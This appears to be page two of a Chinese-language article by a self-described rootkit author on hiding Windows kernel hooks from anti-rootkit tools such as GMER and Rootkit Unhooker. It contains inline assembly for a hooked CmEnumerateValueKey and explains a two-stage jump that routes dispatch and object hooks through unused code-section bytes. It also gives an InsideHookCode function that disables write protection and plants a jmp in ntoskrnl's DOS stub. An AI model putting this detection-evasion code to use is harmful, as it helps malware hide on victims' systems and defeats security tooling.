__asm
{
push eax
call __
__ :
POP eax
SUB eax , offset __
add eax , offset NewCmEnumearateValueKey
; 获得函数开始地址
sub eax , 4
mov eax ,[ eax ]
; 获得OrgCmEnumerateValueKey
push ResultLength
push KeyLength
push KeyValueInformation
push KeyValueInformationClass
push Index
push KeyControlBlock
call eax
mov stat , eax
; 调用原始函数
pop eax
}
//.....其他处理
//
//.....
}
void NopFunc8 ()
{
__asm
{
nop
nop
nop
}
return ;
}
//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位
这样，基于ZwQuerySystemInformation , PsLoadModuleList , 对象目录，Type链 , ImageLoad , 暴力PE搜索 ( 因为我们压根就没有PE镜象 , just one piece of code ~)...
接下来看如何饶过 4. 中的检测方式
1.Hook 常用函数 : 这个很简单了，恢复自己要用的函数 ~ 或者压根就不用那些函数，HOOK代码大部分都是数据过滤 / 处理部分，所以完全可以一个系统函数也不调 ...
2. 各种routine检测，这个可以用多次跳转方式搞定，例如Dispatch hook , 因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法，所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中 ( 类似的还有object hook , pxxxx hook等 ), 使用此方法的例如rootkit unhooker , gmer等
只要我们先使用这样的方法，就可以饶过检测，让Anti - rootkit工具不知道是我们的模块HOOK了这里 :
先将dispatch地址跳转到code section中不用的部分， 5 个字节就足够了，然后在这 5 个字节里使用jmp指令再跳到我们的模块里，这样Anti - rootkit工具检测时 , 就会发现dispatch routine仍然在该模块的code section中
通过这种方法也可以饶过对dispatch hook\object hook的检测
inline hook / iat / eat hook也可以用类似的方法来躲过模块检测，不过无法避免HOOK被检测到 ^-^
即使Anti - rootkit工具使用更复杂的算法，对各个routine进行深度代码级扫描 , 我们也可以通过复杂逻辑/代码，将我们的最后跳转地址藏起来:)
一个简单的双段跳饶过object hook检测的代码 :
object hook方法因为未被公开过，故细节略去，方便起见，没有写找code section的代码，直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK :
ULONG InsideHookCode ( ULONG NewAddress , ULONG BaseCode )
{
//该函数用于将hook代码转接到模块的DOS头中
//in :NewAddress: real hookcode to jump
//in :ModuleName: kernel module base address to inject
//out :NewJump Address
ULONG TempCode = BaseCode ;
TempCode = TempCode + sizeof ( IMAGE_DOS_HEADER ) ;
//into DOS stub
DO_SPINLOCK ();
WPOFF ();
*( BYTE *) TempCode = 0xe9 ;
__asm
{
push eax
push ecx
mov ecx , TempCode
mov eax , NewAddress
sub eax , ecx
sub eax , 5
mov dword ptr [ ecx + 1 ] , eax
pop ecx
pop eax
}
WPON ();
EXIT_SPINLOCK ();
//write jmp NewAddress into DOS stub
return TempCode ;
} 上一页 1 2 |
安全中国首页 > 文章中心 > Linux安全